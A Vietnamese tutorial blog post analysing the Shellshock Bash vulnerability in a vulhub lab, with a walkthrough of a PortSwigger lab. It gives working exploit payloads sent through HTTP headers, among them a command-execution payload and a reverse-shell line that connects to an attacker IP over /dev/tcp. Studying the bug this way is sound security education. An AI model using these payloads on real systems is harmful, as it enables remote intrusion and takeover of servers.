- vừa được xem lúc

Phân tích CVE-2014-6271 và ví dụ

0 0 21

Người đăng: Uiiiiiii

Theo Viblo Asia

I. Chuẩn bị.

Các bạn có thể clone môi trường tại:

https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271

Lỗ hỏng Shellshock xuất hiện tại các phiên bản từ GNU Bash 4.3 trở về trước.

II. Dựng môi trường và thử nghiệm

Dựng môi trường:

Sau khi dựng thành công, thu được 2 địa chỉ, địa chỉ http://<ip>:8080/victim.cgi chứa lỗ hỏng Shellshock và http://<ip>:8080/safe.cgi đã được sửa lỗi. Trước khi đi vào xem xét môi trường chứa lỗi, cần thay đổi quyền 2 tệp victim.cgisafe.cgi tại /var/www/html

Nguyên lý hoạt động của Shellshock

Khi gắn giá trị cho biến test, và thực hiện in ra biến test:

Nhưng nếu thử chạy 1 tiến trình con bash trước khi in ra biến test:

Không in ra giá trị biến $test. Tuy nhiên khi exit tiến trình con thì vẫn có thể in ra giá trị biến test. Điều này xảy ra là tại vì khi chạy tiến trình con thì giá trị biến test vẫn được lưu trong tiến trình cha. Nếu muốn thực thi với biến test trong tiến trình con, chúng ta có thể export biến test thành biến môi trường:

Với ý tưởng như trên, nếu chúng ta thử set một hàm thực thi test thành hàm môi trường thì sao?

Đúng như dự đoán, nó đã thực thi như bình thường.

Vẫn ý tưởng như trên, nếu mình set một đoạn string thành môi trường thì sao?

Vi diệu, khi in biến test tại tiến trình cha thì được hiểu là string, còn khi thực thi trong tiến trình con, hệ thống lại hiểu thành thực thi lệnh whoami.

  • Như vậy, để thực hiện tấn công Shellshock thì kẻ tấn công cần có quyền thao tác với biến môi trường (cứ string mà triển) và có thể mở một tiến trình con để thực thi lệnh shell

  • Nguyên nhân lỗ hỏng xảy ra tại cơ chế hoạt động các biến môi trường trong Bash với phiên bản từ 4.3 trở về trước.

Do đó có thể xây dựng một payload để kiểm thử lỗ hỏng Shellshock như sau:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Tại phiên bản Bash 4.3 nó đã hoạt động, giải thích về câu payload trên:

  • env: đặt biến môi trường sau đó thực thi luôn câu lệnh phía sau

  • bash -c: mở một tiến trình con bash sau đó thực thi lệnh phía sau

Như vậy cả payload hoạt động như sau: sau khi mở tiến trình con bash, hệ thống đặt biến môi trường x và hiểu x là một hàm tự động, do không có quy định việc kết thúc của hàm nên hệ thống đã thực thi luôn câu lệnh phía sau và in ra vulnerable, tiếp theo thực thi in ra this is a test. Tham khảo thêm cách giải thích:

III. Khai thác lỗ hỏng

Do tệp .cgi sẽ kế thừa giá trị biến môi trường từ hệ thống, nên chúng ta có thể khai thác lỗ hỏng Shellshock thông qua User-Agent.

Payload: () { :; };echo; /usr/bin/id;

Cũng có thể thực thi với header Connection

Kết nối với thực thi shell

() { :; };echo; /bin/bash -i >& /dev/tcp/<ip>/2333 0>&1;

RCE thành công =)))

IV. Ví dụ 1 lab trong Portswigger.

https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation

Đề bài cho biết hệ thống thực hiện tìm nạp URL qua header Referer khi người dùng thực hiện tải thông tin chi tiết sản phẩm.

Chúng ta cần sử dụng Shellshock payload để lấy thông tin tên người dùng. Với dải miền ip hệ thống trong khoảng 192.168.0.X mở tại cổng 8080.

Request khi tải thông tin chi tiết sản phẩm.

Gửi tới Intruder, header User-Agent thay bằng payload Shellshock, header Referer dùng để brute force ip hệ thống.

Khi ip hệ thống đúng, thì client Collaborator của chúng ta sẽ nhận được kết quả dòng lệnh $(whoami).

Bình luận

Bài viết tương tự

- vừa được xem lúc

Được rồi, đi thôi!!! VPS free nè (^.^) [P1]

Bạn là sinh viên, bạn là lập trình viên khó khăn về mặt tài chính, bạn không có xiền thuê VPS, được rồi hãy đến đây!!!. Hôm nay mình sẽ hướng dẫn cho các bạn cách tạo VPS free bằng Github Workflow & N

0 0 59

- vừa được xem lúc

[Linux] Iptables trong hệ thống Linux

IPtables là ứng dụng tường lửa miễn phí trong Linux, cho phép thiết lập các quy tắc riêng để kiểm soát truy cập, tăng tính bảo mật. Khi sử dụng máy chủ, tường lửa là một trong những công cụ quan trọng

0 0 44

- vừa được xem lúc

Từ bug format sai chuỗi số khi nhập bằng bàn phím tiếng Nhật, tới IME và các sự kiện composition trong JS

"Tự nhiên tui thấy hiện tượng lạ”. Khi nhập liệu một chuỗi các kí tự vào thẻ input, thông thường chúng ta nhập thế nào thì hiển thị thế ấy, không làm phép biến đổi gì cả.

0 0 48

- vừa được xem lúc

Tạo Rijndael S-box sử dụng trong AES

I. Rijndael S-box là gì .

0 0 37

- vừa được xem lúc

Giới thiệu về lỗ hổng tràn bộ đệm (Buffer Overflow) và cách khai thác

Khái niệm. Lỗ hổng tràn bộ đệm (Buffer Overflow) là lỗ hổng trong lập trình, cho phép dữ liệu được ghi vào một buffer có thể tràn ra ngoài buffer đó, ghi đè lên dữ liệu khác và dẫn tới hoạt động bất t

0 0 42

- vừa được xem lúc

Share Libraries Hijacking trên Linux

1. Cách thức hoạt động của Share Libraries.

0 0 28